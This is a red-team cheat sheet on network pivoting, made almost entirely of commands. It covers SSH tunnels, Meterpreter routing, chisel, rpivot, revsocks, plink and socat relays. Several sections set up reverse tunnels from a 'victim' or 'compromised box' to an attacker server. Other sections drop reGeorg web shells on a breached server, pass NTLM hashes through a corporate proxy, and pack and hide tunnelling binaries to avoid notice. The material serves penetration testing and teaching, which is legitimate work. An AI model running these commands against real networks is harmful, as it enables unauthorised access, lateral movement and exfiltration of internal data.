# Network Pivoting Techniques ## Summary * [Windows netsh Port Forwarding](#windows-netsh-port-forwarding) * [SSH](#ssh) * [SOCKS Proxy](#socks-proxy) * [Local Port Forwarding](#local-port-forwarding) * [Remote Port Forwarding](#remote-port-forwarding) * [Proxychains](#proxychains) * [Graphtcp](#graphtcp) * [Web SOCKS - reGeorg](#web-socks---regeorg) * [Metasploit](#metasploit) * [sshuttle](#sshuttle) * [chisel](#chisel) * [SharpChisel](#sharpchisel) * [gost](#gost) * [Rpivot](#rpivot) * [RevSocks](#revsocks) * [plink](#plink) * [ngrok](#ngrok) * [Basic Pivoting Types](#basic-pivoting-types) * [Listen - Listen](#listen---listen) * [Listen - Connect](#listen---connect) * [Connect - Connect](#connect---connect) * [References](#references) ## Windows netsh Port Forwarding ```powershell netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110 ``` 1. listenaddress – is a local IP address waiting for a connection. 2. listenport – local listening TCP port (the connection is waited on it). 3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected. 4. connectport – is a TCP port to which the connection from listenport is forwarded to. ## SSH ### SOCKS Proxy ```bash ssh -D8080 [user]@[host] ssh -N -f -D 9000 [user]@[host] -f : ssh in background -N : do not execute a remote command ``` Cool Tip : Konami SSH Port forwarding ```bash [ENTER] + [~C] -D 1090 ``` ### Local Port Forwarding ```bash ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host] ``` ### Remote Port Forwarding ```bash ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host] ssh -R 3389:10.1.1.224:3389 root@10.11.0.32 ``` ## Proxychains **Config file**: /etc/proxychains.conf ```bash [ProxyList] socks4 localhost 8080 ``` Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6` ## Graphtcp Same as proxychains, with another mechanism to "proxify" which allow Go applications. ```powershell git clone https://github.com/hmgle/graftcp.git cd graftcp && make graftcp-local/graftcp-local ./graftcp chromium-browser ``` ## Web SOCKS - reGeorg [reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. Drop one of the following files on the server: - tunnel.ashx - tunnel.aspx - tunnel.js - tunnel.jsp - tunnel.nosocket.php - tunnel.php - tunnel.tomcat.5.jsp ```python python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080 optional arguments: -h, --help show this help message and exit -l , --listen-on The default listening address -p , --listen-port The default listening port -r , --read-buff Local read buffer, max data to be sent per POST -u , --url The url containing the tunnel script -v , --verbose Verbose output[INFO|DEBUG] ``` ## Metasploit ```powershell # Meterpreter list active port forwards portfwd list # Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell portfwd add –l 3389 –p 3389 –r target-host portfwd add -l 88 -p 88 -r 127.0.0.1 portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445 # Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell portfwd delete –l 3389 –p 3389 –r target-host # Meterpreter delete all port forwards portfwd flush or # Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0 run autoroute -s 192.168.15.0/24 use auxiliary/server/socks4a # Meterpreter list all active routes run autoroute -p route #Meterpreter view available networks the compromised host can access # Meterpreter add route for 192.168.14.0/24 via Session number. route add 192.168.14.0 255.255.255.0 3 # Meterpreter delete route for 192.168.14.0/24 via Session number. route delete 192.168.14.0 255.255.255.0 3 # Meterpreter delete all routes route flush ``` ## sshuttle Transparent proxy server that works as a poor man's VPN. Forwards over ssh. * Doesn't require admin. * Works with Linux and MacOS. * Supports DNS tunneling. ```powershell pacman -Sy sshuttle apt-get install sshuttle sshuttle -vvr user@10.10.10.10 10.1.1.0/24 sshuttle -vvr username@pivot_host 10.2.2.0/24 # using a private key $ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa" # -x == exclude some network to not transmit over the tunnel # -x x.x.x.x.x/24 ``` ## chisel ```powershell go get -v github.com/jpillora/chisel # forward port 389 and 88 to hacker computer user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 user@hacker$ /opt/chisel/chisel server -p 8008 --reverse ``` ### SharpChisel A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel ```powershell user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com" ================================================================ server : run the Server Component of chisel -p 8080 : run server on port 8080 --key "private": use "private" string to seed the generation of a ECDSA public and private key pair --auth "user:pass" : Creds required to connect to the server --reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes. --proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight. user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks ``` ## Gost > Wiki English : https://docs.ginuerzh.xyz/gost/en/ ```powershell git clone https://github.com/ginuerzh/gost cd gost/cmd/gost go build # Socks5 Proxy Server side: gost -L=socks5://:1080 Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true # Local Port Forward gost -L=tcp://:2222/192.168.1.1:22 [-F=..] ``` ## Rpivot Server (Attacker box) ```python python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0 ``` Client (Compromised box) ```python python client.py --server-ip --server-port 9443 ``` Through corporate proxy ```python python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ --ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e ``` Passing the hash ```python python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ --ntlm-proxy-port 8080 --domain CORP --username jdoe \ --hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE ``` ## revsocks ```powershell # Listen on the server and create a SOCKS 5 proxy on port 1080 user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234 # Connect client to the server user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10" ``` ```powershell # Build for Linux git clone https://github.com/kost/revsocks export GOPATH=~/go go get github.com/hashicorp/yamux go get github.com/armon/go-socks5 go get github.com/kost/go-ntlmssp go build go build -ldflags="-s -w" && upx --brute revsocks # Build for Windows go get github.com/hashicorp/yamux go get github.com/armon/go-socks5 go get github.com/kost/go-ntlmssp GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" go build -ldflags -H=windowsgui upx revsocks ``` ## plink ```powershell # exposes the SMB port of the machine in the port 445 of the SSH Server plink -l root -pw toor -R 445:127.0.0.1:445 # exposes the RDP port of the machine in the port 3390 of the SSH Server plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 plink -l root -pw mypassword 192.168.18.84 -R plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445 plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP] # redirects the Windows port 445 to Kali on port 22 plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185 ``` ## ngrok ```powershell # get the binary wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip unzip ngrok-stable-linux-amd64.zip # log into the service ./ngrok authtoken 3U[REDACTED_TOKEN]Hm # deploy a port forwarding for 4433 ./ngrok http 4433 ./ngrok tcp 4433 ``` ## Basic Pivoting Types | Type | Use Case | | :------------- | :------------------------------------------ | | Listen - Listen | Exposed asset, may not want to connect out. | | Listen - Connect | Normal redirect. | | Connect - Connect | Can’t bind, so connect to bridge two hosts | ### Listen - Listen | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`| | socat | `socat -v tcp-listen:8080 tcp-listen:9090` | | remote host 1 | `ncat localhost 8080 < file` | | remote host 2 | `ncat localhost 9090 > newfile` | ### Listen - Connect | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` | | socat | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` | | remote host 1 | `ncat localhost -p 8080 < file` | | remote host 2 | `ncat -l -p 9090 > newfile` | ### Connect - Connect | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat localhost 8080 -c "ncat localhost 9090"` | | socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` | | remote host 1 | `ncat -l -p 8080 < file` | | remote host 2 | `ncat -l -p 9090 > newfile` | ## References * [Network Pivoting Techniques - Bit rot](https://bitrot.sh/cheatsheet/14-12-2017-pivoting/) * [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/) * [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences) * [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/) * [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/) * [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre Zanni](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) * [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)